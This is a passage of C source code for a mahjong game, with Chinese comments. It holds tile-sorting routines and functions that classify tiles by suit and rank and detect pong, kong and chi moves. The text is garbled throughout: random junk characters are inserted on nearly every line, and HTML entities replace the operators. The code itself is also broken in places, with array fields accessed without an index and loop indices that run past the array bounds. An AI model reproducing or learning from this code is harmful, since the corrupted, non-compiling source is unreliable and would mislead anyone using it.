/ r  e7 K- J4 p: E. ^u=computer.pp[n].oneorfour;" k( g) E4 w- f6 N% k5 K) v7 S
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
  e# K; M6 ~% `7 R6 Bcomputer.pp[j+1].oneorfour=u;- ~. J  K' w( Y+ L6 u6 ?' _) ^
u=computer.pp[n].number;6 ~5 {6 A9 G& e6 T& l" m
computer.pp[n].number=computer.pp[j+1].number;
7 a! ?7 ]" k3 \" mcomputer.pp[j+1].number=u;: H4 {/ M& M# a& @+ q, p/ m) \
}
0 g0 r1 E3 j" e# o; `1 e}
" Z$ i. M2 E1 _# O$ Q" @7 v}3 W) Q3 M. T' H9 o! e7 r
void melipai()7 d8 y5 h' m( P2 l) J: d/ D. g
{ int n,j,u;
" s: N: @! ]8 \# @# `' t, {/ E6 Oint *lingshi;
" g& g! n* m' |7 A8 F" nfor(n=0;n&lt;me.m;n++)1 ?0 E1 w& e1 r
for(j=n;j&lt;me.m;j++)
2 F6 L, m% X; M7 k2 s3 w; z{
9 @# n% T3 d! Z) O7 u1 S7 Vif(me.pp[n].number&gt;me.pp[j+1].number), a* ^: b3 p4 g4 k* U6 H1 F
{% _8 O3 V$ J9 z- R6 b
lingshi=me.pp[n].k;
: f5 h* m* L  S  V9 K! hme.pp[n].k=me.pp[j+1].k;. u6 g# [  t3 d, K% `
me.pp[j+1].k=lingshi;
2 v, G) N- H' @" t% hu=me.pp[n].oneorfour;+ U. N! @0 P( {6 S, M7 F" s
me.pp[n].oneorfour=me.pp[j+1].oneorfour;8 ^4 k8 i# a+ F: M& M. p- I' o
me.pp[j+1].oneorfour=u;& u8 G5 o: T2 G4 a. h) @, O
u=me.pp[n].number;. N4 [7 H5 Z3 a: |- i
me.pp[n].number=me.pp[j+1].number;. C' O: G3 g' E, \* u7 r
me.pp[j+1].number=u;
- i5 g0 ?% ]8 z, ?/ A2 x}2 I) y7 V4 y  q' m- l2 x2 A3 _
else
  f) d9 c! A! Z4 o4 Lif(me.pp[n].number==me.pp[j+1].number)9 {3 {1 n0 t' N0 J. j+ \7 a
if(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
6 A4 F( y! f1 z{+ T& x0 C4 |) b) k- q( y
lingshi=me.pp[n].k;
, O! g) O/ |" n7 i* X3 a5 ^% Gme.pp[n].k=me.pp[j+1].k;! r9 x6 f2 T8 {) w( b& C, U- n
me.pp[j+1].k=lingshi;
5 E% N* l- d, T: ku=me.pp[n].oneorfour;
' q' L5 K- T9 x3 c+ i. X6 k# Ime.pp[n].oneorfour=me.pp[j+1].oneorfour;
7 U( @: }8 @% lme.pp[j+1].oneorfour=u;- G# W' l9 d+ }2 z5 z
u=me.pp[n].number;
8 h/ i& |5 V) M* q+ d* hme.pp[n].number=me.pp[j+1].number;) k1 r, R3 T# }* L3 h) u
me.pp[j+1].number=u;; I, \. i: B  `
}9 L/ a6 `6 n  F" s  o3 D1 @4 U
}6 |5 }$ }. ~- v9 ?
}2 |- N. Z/ Q6 x! j& E
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/: U7 ?6 T) I8 l3 M
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;6 s5 @4 [8 }! q4 P
if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)% I& Z0 f3 ^' v. T; \
{% R0 c. H0 u5 G) w1 ?
logo=1;
  n: U7 ]3 u, V% b5 wif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
# G3 a) ~( J$ s; c9 A" dlogoo=1;) m" X7 m, S2 W9 R8 G. x
else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)' x# g1 J8 F$ y* }1 q+ V$ l- u
logoo=2;
- [$ c, ]- t- I" I. [* `) A$ telse if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
# l6 ?8 z4 g% p1 C  q/ ^logoo=3;
4 H0 x' j1 ]& ~3 r4 l- g9 ?/ Velse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
; u/ l) [- e7 p& |! Y! }logoo=4;" f; V$ T2 q5 x
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
, T/ w8 R% O( c* Z3 C2 H! s" Ilogoo=5;5 D! T3 c4 f. j7 ?% t
else if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)0 x' f9 `, Y" C: T! G" f
logoo=6;* c6 d* W& j" V& e+ h
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24); r$ H, v, W2 J2 q  Z: i  x1 E9 z/ h
logoo=7;0 }" o3 B! Z+ v$ `
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)# a* ^+ m! {/ y
logoo=8;
$ o9 Y6 u0 e' Y, r7 g) eelse if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
- l1 w* V7 I, T4 Z4 x0 Y0 s! Plogoo=9;* d( D! e- S- C
}
1 u* I: B& U! i; I( ?else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)9 `# k: {" r! U- B; x* e  \- z
{
, n( f& f7 U& z& Zlogo=2;
. G( E8 v6 l+ f) h( Q5 W9 Pif(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36); p( x( g$ ~' B
logoo=1;: w( f- ]  R0 X
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40), D, A* {6 v# {% e( j) m2 j
logoo=2;1 S- p; g7 G& `$ A
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)& N5 Z- l9 {: _- |& [
logoo=3;" B' n; P( J" L6 H( B0 p, h( J
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
/ Y+ H+ H& Q8 ~3 f+ a- ]( e" g: zlogoo=4;
8 Z5 e3 N" b  a' R1 @8 Y: oelse if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
# L) ?1 e" ^& H- c/ Ologoo=5;; k) t& V0 c6 T7 L; N
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)7 \$ k3 v" m- }. J0 c
logoo=6;3 \0 C  t" o0 J8 o4 j
else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)2 [2 F. s/ i# [. k- h; A. R) N
logoo=7;- f5 o( Q+ |# P+ x- C& S5 b+ G
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
( w' v3 S# g, t' k6 I/ a2 ulogoo=8;1 i. s: X9 S! f, W: O% _
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
6 G. D9 Y% Q* ]9 V( K6 llogoo=9;
+ W/ j2 I6 Z0 ~9 V* E: D. [4 i}4 O; ~! X( J; i2 p: S. h
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
7 B8 M" _' ?; O. a6 q{
: ?9 ]4 Q5 d. d( c) w2 T2 Jlogo=3;6 o8 Z5 h0 P: ]$ G; z4 }
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
1 }: B. b5 S$ G2 Z! G* ylogoo=1;
, S; z0 {% q: A+ d" J+ Yelse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
6 d- f4 N: K( u4 l  |logoo=2;2 a# f! H7 C* m# X9 ?4 x2 s
else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80), V* X! Z) ~% X' a$ F9 X& h
logoo=3;
, z" V7 [/ j% O6 T3 l" m% Belse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
. G7 t, C+ T' V+ t  k5 zlogoo=4;
- ]3 F1 ^( F$ n/ I* Celse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
6 l9 `' t/ M: N: Z7 r. Y# llogoo=5;. ^- p/ y6 U5 K5 D1 A8 s
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
5 A% N0 R9 {$ Llogoo=6;
5 I' y" Q) e3 P3 N/ uelse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
% Q0 K1 F% n1 E! l. I; Z" u) klogoo=7;* a$ l. W  a' p6 E# i% v# Z
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
+ z: {% U3 W. m6 X3 nlogoo=8;+ Q2 `6 h3 u# U! S
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
5 C3 T9 W" O3 M) U% T1 C& o) Alogoo=9;
! Y! \$ \, j  `. g3 i1 C}! z7 E, x$ q* P" d8 n: p8 v5 M
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
; r# s7 V2 M: R8 ~{. ^/ R0 Q7 x" g8 S4 _, A9 ^# R
logo=4;' T$ F/ |) i5 ^. |6 K
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
) }8 V6 V% M; j" G  {4 f# dlogoo=1;1 B( a2 d: K- E; ~/ n8 o3 E( j
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)0 _" X& B1 D1 \  d& r
logoo=2;; H6 e4 u" _6 c7 |+ C# H( p$ Y
else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)- t; `3 a0 F- k3 s
logoo=3;
+ Q. `( Z: l# a" b$ c8 Y" Eelse if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
5 ^. B0 f  J' V0 f8 Flogoo=4;) ]) `& _& b) d/ Q1 L6 U
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
! q8 ?5 I) ]0 {# B1 \logoo=5;1 {. C# L: W/ G9 Z
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
, {) V/ G1 D0 L. f) I  i. ~0 tlogoo=6;
6 B' t6 s+ z9 x* |else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)' @. |, V0 h# v8 x3 O4 U' e
logoo=7;$ m$ R( M# \: R+ Q/ G
}
& Q: q' k7 K0 ?$ i, Rwhile(b&lt;=computer.m)
7 R  y. m7 Y# _& z5 C# w{+ o" w0 ?$ U+ c$ X! H! |% P; R8 f+ L
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/1 c" x" @; Y. d. \
{
* g& T! C- Z+ ilg=1;* E8 @# e8 l" o9 l
computer.pp.d[0]=1;
8 D7 t; G3 `4 [5 y) Oif(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
. ]3 |/ R5 [5 ?" j! q{; t' ~* P4 H* w& }/ P5 p2 U
lgg=1;+ Q: U6 O6 z7 O5 h: O. e1 C+ h8 E# \$ j
computer.pp.d[1]=1;' I+ R8 A3 l/ ?- O  a5 `
}
" |2 r% M. }7 m( }( d; Z: g1 ]% }else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
: u; Y9 m' t0 @% J{
  }: ~; b$ g, Z: P: [+ n" [  elgg=2;7 d/ K6 \5 L1 N: l$ I7 d4 N8 U
computer.pp.d[1]=2;, z5 a* S# y) s3 u6 \, D
}$ m# ~2 w: v* s! I7 z
else if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
( M& _9 `4 ~0 I) F6 Q9 R{
9 }/ q7 G! F. Klgg=3;
$ ?0 H& \9 }  |, h# e, Acomputer.pp.d[1]=3;
* s. d1 H3 m7 k# q$ R}8 t1 @! c$ p1 ^' a/ M
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)8 r- o+ b# M* m9 N
{+ ]( L( S& q' g# O$ e
lgg=4;9 g3 W0 y) ]4 C- v9 d8 r9 A. O, Z
computer.pp.d[1]=4;6 A% j( X5 a) z: S, b( f
}3 H8 D+ \; G( W- k/ J" e
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
9 D$ e4 f  N  t* K1 [) k{5 @2 B/ g% g4 d3 r# S) {7 d! w
lgg=5;
6 p- ~; q6 {) M4 `computer.pp.d[1]=5;) z8 G9 u, Z2 s: U/ f
}- Y' O$ T; W! J4 ~! f- x
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)6 O7 U0 i5 [# L
{
! R. }6 O) t/ L* clgg=6;; S; e  Y( e* L4 H4 E
computer.pp.d[1]=6;) o& J7 q  v! W8 n! x
}
7 S  s4 p7 [9 F) I! Celse if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)7 U% O8 {. ]1 u/ m3 I
{- J' t/ [( W$ i$ e6 M
lgg=7;
. r8 W% o2 C0 C% Mcomputer.pp.d[1]=7;8 T& |9 {( A4 `
}% N! h/ F% F. o1 x
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)/ J9 F& \& E) \% Q
{" L1 y2 f: `/ _/ d0 u- W
lgg=8;
* n8 j7 W- W0 F# Zcomputer.pp.d[1]=8;
! r: D) z. n) F' }- W}2 ^$ k' x5 x  E8 {! l( C
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
3 k& x# u5 V) t4 ?{
$ [% @: z# u; K5 T/ i) g* V$ plgg=9;. t  J. T  g( K  W4 m- }. E
computer.pp.d[1]=9;
5 e( r  n0 I8 u( _, K% l" R. O}
( O# J1 @9 J  s6 }}
# T8 S7 }+ e8 U4 V, felse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)* B+ h- f2 R( i
{
  P& \) R- L- v9 U# v9 q9 Alg=2;
' }5 U  C- S1 F  K4 T5 G+ P( kcomputer.pp.d[0]=2;: W- `. d" ~  i, c" x: }) I
if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)0 D9 L" |6 k, b
{
! U2 _4 A4 h# K9 dlgg=1;$ s- x/ p3 P; _4 }0 J) e/ Y/ u- v; {: g
computer.pp.d[1]=1;- b( D2 `* {/ v+ L8 }0 w  e- }( p
}7 q  F( u: l% L  ]
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)/ t! A( s; C- K' O
{0 u8 F9 @. ?+ g9 ]" |6 k1 l- ^
lgg=2;; ?4 D6 G- h, |8 T/ V% q2 y! v
computer.pp.d[1]=2;$ H( h' C1 w+ C% s
}
5 |) J& t* Z8 X- @else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44); b1 \! x9 ]% X0 `+ F" s- G- \0 r
{+ A. e1 e6 l( D' P% o- [: b
lgg=3;8 v$ ?4 a$ ^6 U0 f6 Y4 \" g
computer.pp.d[1]=3;
- S, M3 r$ d2 M! b}& ]( b5 y. {8 y$ R( K" p7 i3 D
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
9 G' C  p+ F2 b! t6 ^, n{1 x. [( Q- V* g$ [1 S
lgg=4;
- Q( f  D4 k- A/ k- S% M7 O# [computer.pp.d[1]=4;
1 z" g, o$ [$ m+ K8 {7 M9 [}" \7 c% @  M* U
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
) C' A) O8 [; R+ \% t7 A; h- B& d{
) m( Q/ K# C' @: c% X/ g* Jlgg=5;  ^, d+ t: \" y9 Z; _: b$ f3 ~5 U  }' K
computer.pp.d[1]=5;: t  L+ Q9 n+ l. a0 J
}
: s% y8 x* n8 D$ j* A3 w$ [' xelse if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)) L0 @& }4 }9 S# g
{
3 ^, D& r+ T% z0 V( I8 Q) W& Mlgg=6;
/ l4 o2 ~. P, O" h3 p; Gcomputer.pp.d[1]=6;% [+ q8 w* ~  T+ A( S0 r8 U6 p4 R& T
}
" d+ I% M7 E, ^% H( Celse if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
2 R9 b  Q3 u5 I{
% `$ w: a# _6 K8 Nlgg=7;
( f' l9 w3 P6 w( Z& v6 x( _0 o- ?computer.pp.d[1]=7;
% j$ k3 x! [8 y1 m}  Y; l# _. V. @5 s
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
! `. w' |" G4 H8 C{- I+ Z$ G: p) K  Q$ |2 b
lgg=8;4 ]) w; o0 N' B* B! c# {* \
computer.pp.d[1]=8;
7 Z0 ?& q0 l3 M' q}
9 H/ H! G& X7 {* m9 ^, I) U2 _else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)7 S- J7 V: E( K6 Q" N
{
7 \0 T- I) e8 nlgg=9;  L+ v8 |+ W& F
computer.pp.d[1]=9;# A9 g; ~2 I" t/ s
}
/ N/ P7 B' K9 Z# ^1 v}
& I6 |/ _  [+ y$ ?else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)$ E+ j7 B' |* _
{# D% g: R6 r  ]9 S  w/ {* S5 @
lg=3;
6 w; q/ q) I: M! @9 Kcomputer.pp.d[0]=3;! p% d; V% \$ z8 C) l4 ]
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)! [# X' L- i% o, H- F, M6 V
{- u! c  \# j5 a* H3 A3 u/ R! {3 o
lgg=1;, E1 s  ?: K% t, R
computer.pp.d[1]=1;6 G3 P" t( K4 P/ N& W0 G: j8 n
}( d- @  g  q" B  b0 H
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)% l3 J3 @5 Y9 f# _# H
{
8 @) V3 h: w3 Hlgg=2;
0 p" x8 _$ `0 R2 |computer.pp.d[1]=2;
. t6 K! K) k! g' h& Z+ J4 J}
: B" M  ~& _! }' Melse if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)  o- a9 d' p, C1 |# @, r
{
. x+ {) _$ o& x3 Elgg=3;
  `; s  i8 i! s1 J7 w# Xcomputer.pp.d[1]=3;
, T( o, V2 J  I}* g8 C5 K6 W2 O
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
4 L8 e+ X9 v/ D4 t6 p" Z; W{
4 ~+ n! Y& M, algg=4;% b) a, Z4 [( r6 u, o0 D* W
computer.pp.d[1]=4;
. f+ F4 R! e# m* Y2 e8 Y}# e- j: i$ I+ a$ o
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
; J* ]8 D9 r0 M2 \3 S" Y* {{
( k" G2 b% z7 `2 llgg=5;
/ f9 g4 C& p3 v/ Z" w4 jcomputer.pp.d[1]=5;7 Y3 H8 w8 e/ v; ~: U8 E0 Q
}
: q* [  V) \" J$ Q1 r9 t: L# ~# Felse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
' [2 h8 A- Q' @) u6 L+ {! k) {{
! f# y0 n% F4 x/ wlgg=6;
% o; }! ^* j; U( qcomputer.pp.d[1]=6;, _% d2 \. g0 ]$ J3 r
}: w3 K7 l8 n- E8 }% m* r, A1 d
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)8 o# Q8 M" t2 S( Q7 Q9 @$ h3 _1 B/ ^
{6 ^9 N, p9 m4 r9 d
lgg=7;
- m9 b2 `7 r$ Q9 Q7 d9 ycomputer.pp.d[1]=7;
( ~9 M- z. G* R/ ~; R}
' S( e/ {. L3 ^' i, \else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100): u: L( T# {4 L) v' x
{. |! Y3 I8 \* Z3 m) |% Q
lgg=8;
( J) C+ g7 B2 Wcomputer.pp.d[1]=8;
& z- V: ?' R; b. A4 [}
* v# [# Z- b8 b% o  welse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)- p3 y- ^/ e+ {  J$ n
{$ H1 ]( ~- G2 T' i
lgg=9;4 \. H3 v# k) }1 r& B
computer.pp.d[1]=9;* R/ e# ~( m# o6 f; n9 \9 P+ j
}& {0 {/ c/ l! S. U/ i% J
}
$ p( Z+ O1 r7 b( I) ielse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)# c1 E/ J$ k  v7 I5 G6 |
{, `/ T! e% B0 p' O; p
lg=4;
! w& N' |! ~  x- S- N1 z" Y& ucomputer.pp.d[0]=4;
+ |- n* R/ _! \if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
% h3 [% a: e  N# p9 y0 k{0 t$ X5 r8 R# y1 a# b  \
lgg=1;
, p( d7 j6 p8 M; J( y+ u! N/ Lcomputer.pp.d[1]=1;
6 D' ]! Q7 N1 a( [}+ n6 N" Z% p4 @6 K
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)* u  h2 {+ Z" |
{
/ S; U- I+ g0 J2 Tlgg=2;
3 y! ]1 \( `4 }, p1 @6 ^computer.pp.d[1]=2;
* o! h8 G$ C: \- H5 o}
3 W* ?' \6 k4 w; k# E% zelse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
4 u& g% j( q; M5 ~3 {{
4 {' b$ b" _" \6 H/ a$ Qlgg=3;% n9 b" N1 ~2 V+ U: L- r
computer.pp.d[1]=3;
1 @* O4 n3 ^( W5 @1 ^}
0 @& @5 o) D# M4 O7 Gelse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120): K; S# Y( d/ N' @& k6 A
{
+ p$ t6 g7 x  Z( C" l+ ylgg=4;8 n5 Z: N! ?) L, q5 ?2 p
computer.pp.d[1]=4;" X6 z2 y" \, i1 q
}
& J2 M9 L1 Y9 pelse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)* [: C2 M' b7 U" V& v, y3 n
{
! k% R0 b% Y- w9 X+ ]  {lgg=5;6 z3 O; O5 |; R" e: ^3 `
computer.pp.d[1]=5;( B) Y# g. P2 L: r$ W5 {
}
/ \% B0 s/ ~$ }# selse if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
1 o9 A0 n3 M  P, j% S* C2 R{5 y& u7 P( p. ]: @& X
lgg=6;* U- B% q2 Z, \
computer.pp.d[1]=6;
- ~3 Q: U% I  p}
5 @% z: e6 K5 \# z' q" o4 G! E, lelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
3 T- A, v. d! h{
+ I$ K) ^! A0 C+ _- w0 Algg=7;, i( Y8 d' b% h8 p# A
computer.pp.d[1]=7;
2 I! A  N) G. H& `}4 d+ F% L: v  E2 v8 @  j
}5 ]4 O( R4 E" ], E' S

2 Y$ M3 T! p& V) Rif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/- E9 \! g1 ^6 w7 e
if(logoo==lgg)
- w% b4 @; @/ Dpg++;1 t- y; I% R9 j: \6 }
ch.lg=lg; /*保存电脑手里的每张牌的信息*/
" ^; V, d! c; Z7 u1 e: [! u' `ch.lgg=lgg;
. {% \' ~" d9 p4 v) v3 b; d8 zlg=0;
7 y* ^, i& d6 {% }lgg=0;
. u5 H+ E$ {1 ~) n/ lb++;
1 g! f" Y0 E7 A1 N}
0 Y/ |$ s: |7 T7 f  e" @if(pg==2) /*乓*/' K0 F. N: X; Y' O" H6 p. H! V" Z
{% x/ t" T* p$ T6 O- f* t& K! y

( q- b) {% i4 Ksing=1;
  C# D3 j* g8 e, p8 eb=computer.m;
' H8 y) _# N1 B+ {8 M7 y6 vwhile(b!=-1)
2 K1 V& D; c& ]; e% \7 U{3 J# H4 ^; F) q% c8 i- r/ y
if(strcmp(me.pp[c].k,computer.pp.k)==0)1 Z* Z4 {4 t1 o# p) \1 z
computer.pp.p=1;
& H% G2 r" P& x' H4 l
  R$ l$ u; d& Hb--;
0 x, z& ?1 W/ f1 e# R" q7 z}9 {* v  Z, @" j& x' k2 J; m
}, @6 B$ i' S# d8 C; A; G; [
if(pg==3) /*杠*/
3 u2 }8 |. Y/ @{; w7 [! f: }1 B9 g( v, {; J- P
2 ^# ~% S0 W" I* A" B% E$ _9 u1 |
sing=2;& x* V  ~" U0 d7 W! g+ O
b=computer.m;
, c0 \! N7 J2 d- Fwhile(b!=-1)
8 ]8 r5 y2 z6 [  W3 `{7 o3 v2 V) n: _, c
if(strcmp(me.pp[c].k,computer.pp.k)==0)
6 u9 m0 e3 V, f) Q( dcomputer.pp.g=1;% W% d; |3 ~, h6 ]
b--;
# s& R6 C& M. m( p2 s}$ l. `8 h- d# `. N5 J
}
1 @0 i8 A% L) b9 wf=0;
7 ~% K( f) ^; D+ H6 owhile(f&lt;computer.m) /*吃的判断*/! b4 {: W* s$ ^" o( P9 j# J
{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4), i; f' v/ l8 \1 p
{0 R1 Y7 I1 o& C+ g. D
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/2 _0 H0 f3 K1 @8 l8 }3 p/ {! W/ i! r# O
if(ch[f].lgg-logoo==1)- D$ M. c; |, k5 D
{( V" L$ q- v7 F  }6 E# p6 W
gp++;
( n# g1 M# o4 [$ ucomputer.pp[f].c=1;# W  P" w( I* s( y5 C9 m: }
computer.pp[f+1].c=1;$ r" K# {1 U5 }; _% |
}
/ \( E! L: s- [. I3 fif(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/' f5 s; y2 V+ s6 O2 ]
if(ch[f+1].lgg-logoo==-1)6 |/ Y% }1 I1 p2 f
{
- V& i8 b) o) u0 k: Bgp++;: ?, s, A; l% B3 a
computer.pp[f].c=1;6 N  q# p8 s1 y
computer.pp[f+1].c=1;( {7 Z: o' T2 W' |2 l
}
9 c- x5 l# w3 l7 z/ r# `if(ch[f].lgg-logoo==-1) /*中吃*/% A7 @# n/ l% |9 s. m6 G
if(ch[f+1].lgg-logoo==1)
# X) X6 M  y) i; Y0 L. l  O{- @! N0 I# q" d9 ^$ h: h  \9 z! c
gp++;& w" w- y5 }% C6 ]9 g
computer.pp[f].c=1;  y- R' N: n9 O. ]) ]
computer.pp[f+1].c=1;
) ?' k1 r) Y  A5 q' u6 j$ K}, l6 B1 ]2 {  y" R5 ?
if(gp==1)7 b& h/ q! F' B' n% X( o  T
break;
  @% Z; V" Y, w) P1 ^}
9 }8 w! l- N! sf++;
# @$ a8 _6 P6 d}
: x4 G+ q/ B, A! ]" T6 w* F: d5 \if(gp==1)
; ~6 L8 ~7 A, W" m. C{sing=7;+ q; s+ b# B! i/ ^
. `% N# ?9 u' ]" x: c9 S5 ]
}8 j1 J* |6 h- H2 O
pg=0;% t4 k- a) k* ^
gp=0;1 Z  Y3 M5 @4 N& _, s! V( D6 @
b=0;
7 Y. Z3 ]) P% @6 I- y5 K}: Q' x4 a1 q% V6 h6 P( l8 V
void rgznme(int c) /*本程序涵数的核心针对我的牌*/3 J8 J7 c/ N0 P5 W- T& Z) H/ T( \; K
{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
" u1 K6 b+ v6 x" c, E2 Yif(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)/ k% U# k2 s" K% Y8 O
{
+ x& O, c9 q- n/ rlogo=1;
+ J, l4 O# f" B2 }% N% W; Aif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)+ J' ]. g) \- ]1 L
logoo=1;
' U& x7 u# J- E9 a/ e/ w# Jelse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)3 n- h: D9 t6 k% h2 n- B/ Q( G) ^
logoo=2;
! |+ V8 |" l9 Aelse if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8), e) E4 H& ?  \4 j9 w9 x, h' e# d" q
logoo=3;
( s$ s8 x# }, F8 I8 N6 D' K6 _else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)8 k0 `2 C- a3 E8 P+ K, t
logoo=4;
" b" j5 y8 r" K5 y* `6 Selse if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)/ e. B8 j& s; G. w% s( p& P% n
logoo=5;
  x* u6 [; K. _# \6 j+ n: L4 P3 l2 ^% ]else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)  p/ y0 g# G* d0 B
logoo=6;
" w& [' K7 u; Uelse if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)3 G3 j: R. \& Y+ G. E  i5 U
logoo=7;1 r* P5 X) T6 {; Q4 m- M% e
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
' I! q* |0 p% B+ S! {. O( L$ |logoo=8;$ N8 d2 @" g! [' d4 b
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)2 e7 ?8 p' E4 ~5 {' S
logoo=9;
" B$ `2 u4 k2 \/ y}$ B1 R- _3 l# U& D1 g
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
* u# y% N, S& `2 B7 q{. ]! U0 d& L% }) v( {
logo=2;$ `0 m! X3 \2 X" m; l
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
' u0 e7 i7 ~2 w- r) p% i4 v0 J, f; D9 ]logoo=1;
- \- H. {. [* n& J9 ]2 Kelse if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40); x  g8 l+ @9 h2 D, E
